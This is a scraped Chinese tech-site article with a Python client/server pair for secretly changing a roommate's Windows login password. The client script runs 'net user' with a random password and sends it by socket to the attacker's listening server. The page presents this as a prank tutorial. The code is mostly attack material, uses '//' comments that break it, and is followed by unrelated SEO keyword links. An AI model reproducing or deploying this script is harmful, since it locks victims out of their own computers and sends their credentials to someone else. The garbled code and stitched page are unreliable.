怎么用Python控制室友电脑的开机密码
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,本篇内容介绍了"怎么用Python控制室友电脑的开机密码"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成
千家信息网最后更新 2025年12月01日怎么用Python控制室友电脑的开机密码
本篇内容介绍了"怎么用Python控制室友电脑的开机密码"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
操作方法:在自己的电脑上运行server端,然后在小伙伴的电脑上运行client端脚本。
原理:client端会在你的小伙伴电脑上随机生成一个密码然后通过socket发给server端,也就是你。

代码如下:
client端代码:
# client.py://文件名
import socket //导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket实例
client.connect(('10.0.0.1', 44444)) //连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() //获取计算机用户名
psd = '' //给一个psd变量(密码)为空
for j in range(1, 9): //生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) //在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) //将密码发送给server端
back_msg = client.recv(1024)
client.close() //关闭socket
print psd //避免出现差错忘记密码 先在本地打印
server端代码:
# server.py //文件名
import socket //导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket
server.bind(('10.0.0.1', 44444)) //绑定IP/端口
server.listen(5) //监听
print('starting....')
conn, addr = server.accept() //连接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
运行程序:
推荐在虚拟机下运行,万一出个差错搞不好真忘记密码!切记切记~
首先先在我的Linux上运行server端,来等待接收来自client端传过来的密码。
运行server.py脚本
然后windows运行client端,它会显示生成的密码
前提是在cmd命令行下运行否则你双击一下会消失
cmd下运行
现在再注销或者是重启输入原始密码就会发现密码错误,密码也已经发到我们的server端了。
server收到密码
如果你现在想改回密码的话,打开cmd输入"net user 你的用户名 你要改变的密码" 然后回车就ok了。
"怎么用Python控制室友电脑的开机密码"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注网站,小编将为大家输出更多高质量的实用文章!
密码
运行
电脑
代码
生成
室友
控制
内容
命令
实际
小伙
小伙伴
差错
情况
文件
文件名
更多
用户
用户名
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
陕西网络安全非标机箱采购
乐橙服务器端口
虚拟机服务器能不能连接网络
扎实搞好网络安全风险评估
数据库技术实训三
微服务器安全
软件开发项目经理职责与权限
杭州武夷山软件开发
网信办的网络安全是什么
惠州自主可控软件开发批发价格
考研学校自命题网络安全
数据库标题在哪里设置
监控硬件的软件开发
干瞪眼下载软件开发
厦门走启互联网科技
国家网络安全应急预案2019
服务器芯片市场会变吗
网络安全隐患取决于什么
如何做好当前网络安全工作
最佳阵容服务器列表
在乌班图下软件开发
值得信赖的网络安全零信任安全
泉州bim软件开发工程
省网络安全协会成立大会
数据库发展历史和特点
腾讯深圳软件开发待遇
上海市网络技术综合研究
集算器更新数据库方法
csgo地图无法匹配服务器
软件开发公司风险防范